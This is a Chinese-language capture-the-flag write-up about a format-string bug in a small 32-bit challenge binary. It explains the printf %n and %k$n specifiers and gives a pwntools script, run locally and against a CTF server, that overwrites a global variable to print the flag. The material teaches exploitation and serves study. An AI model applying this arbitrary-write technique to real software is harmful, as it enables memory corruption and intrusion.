暑假笼统地学了Pwn,听的迷迷糊糊的,现在拾起来从头学。开始做题了,拿到程序扔进IDA。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int buf; // [esp+1Eh] [ebp-7Eh]
int v5; // [esp+22h] [ebp-7Ah]
__int16 v6; // [esp+26h] [ebp-76h]
char s; // [esp+28h] [ebp-74h]
unsigned int v8; // [esp+8Ch] [ebp-10h]
v8 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
buf = 0;
v5 = 0;
v6 = 0;
memset(&s, 0, 0x64u);
puts("please tell me your name:");
read(0, &buf, 0xAu);//写入buf,0x64byte
puts("leave your message please:");
fgets(&s, 100, stdin);//写入s,100byte
printf("hello %s", &buf);
puts("your message is:");
printf(&s);//这里很可能是一个格式化字符漏洞
if ( pwnme == 8 )//目测要把pwnme给覆盖成8
{
puts("you pwned me, here is your flag:\n");
system("cat flag");
}
else
{
puts("Thank you!");
}
return 0;
}
这里一直有一个疑问点,就是格式化字符串漏洞的原理,之前学的时候,是直接看栈的在内存里面状态,看的迷迷糊糊的,后来改成gdb+插件,直接看栈的抽象模式,看的很明了了。原理就是:格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。正常来讲,我们会这样写printf("%s",&s);
这样写的话,程序运行的时候,就从右到左将参数依次压栈
(末尾连接),而进行输出的时候,读到%s这个,就会从栈顶取相应的数据。但是如果这样写:printf(s);就会将s进行解析,如果s里面本身有些格式化字符的话,程序进行解析的时候,就也会傻傻地去栈里面找需要的数据,这样的话,就会造成非法访问栈上得数据,甚至会造成任意地址读/写,所以就很危险。明白了这个大致流程,我们就是实操一下。
看题!运行
可以看出,当我们输入格式化字符串地的时候,看到在第十个%8x处,输出的是62626262,即它读到了我们变量s的开始,也就是非法访问了,而格式化字符串有几个特别不常用的格式化字符串。贴一下大佬的总结:
%c:输出字符,配上%n可用于向指定地址写数据。
%d:输出十进制整数,配上%n可用于向指定地址写数据。
%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。
%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。
%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。
可以了,我们现在可以操控的有:向s中任意写,而且可以用格式化字符串访问s。这时候考虑下%n,它的功能是向它对应的地址写入成功输出的字符数。那咱们可不可以将s的开始写入pwnme变量的地址,然后通过在s中写入%n来访问s的开头数据,也就是pwnme的地址,也就是相当于向pwnme里写入成功输出的字符数。而难点就在于怎么将%n刚好对应到s的开头数据呢。刚刚我们看到我们用第十个%8x可以访问到s的开头数据,也就是此时我们需要将%n放在第十个格式化字符串,所以写入s的payload应该是这样“pwnme地址+九个%8x+%n”,而我们发现这样的话,通过%n写入的不一定是我们想要的数据,所以此时我们需要一个新知识,就是%order$n
,此处的order,就是使用第几个参数,如果我们写%10$n
,就可直接使用对应的数据,例如,写printf("%2$d",a,b)
就会输出b的值。
这样的话整体的流程大致是这样,还剩下两个问题,pwnme的地址?需要向pwnme写入的值?
看IDA的伪代码,双击pwnme,看到
地址为:0804A068,这里的bss是什么意思?我也不知道。贴上大佬的解答。
bss段(未手动初始化的数据)并不给该段的数据分配空间,只是记录数据所需空间的大小。
data(已手动初始化的数据)段则为数据分配空间,数据保存在目标文件中。
地址搞到,看源码发现只需pwnme==8,则会 cat flag。所以我们需要下个pwnme里写入8。也就是向0804A068写入8。所以构造payload大致为:0804A068+aaaa+%10$
n或0804A068+%4c+%10$n
上python:
from pwn import *
p=process('./zifuchuan')#这是本地调试程序
pwnme=0x0804a068
payload1='aaaa'
payload2=p32(pwnme)+'a'*4+'%10$n'#这样也行payload2=p32(pwnme)+%4c+'%10$n'
p.sendline(payload1)
p.sendline(payload2)
p.interactive()
~
因为是本地调试,我就在本地写了个flag
,内容为 suceefully!!
from pwn import *
pwnme=0x0804a068
conn=remote("111.198.29.45",51804)#远程连接
payload1='aaaa'
payload2=p32(pwnme)+'a'*4+'%10$n'#这样也行payload2=p32(pwnme)+%4c+'%10$n'
conn.recvuntil('please tell me your name:')
conn.sendline(payload1)
conn.recvuntil('leave your message please:')
conn.sendline(payload2)
#conn.interactive()
放上大佬wp:
http://geekfz.cn/index.php/2019/06/12/pwn-format/
https://blog.csdn.net/qinying001/article/details/98527949
https://bbs.pediy.com/thread-217035.html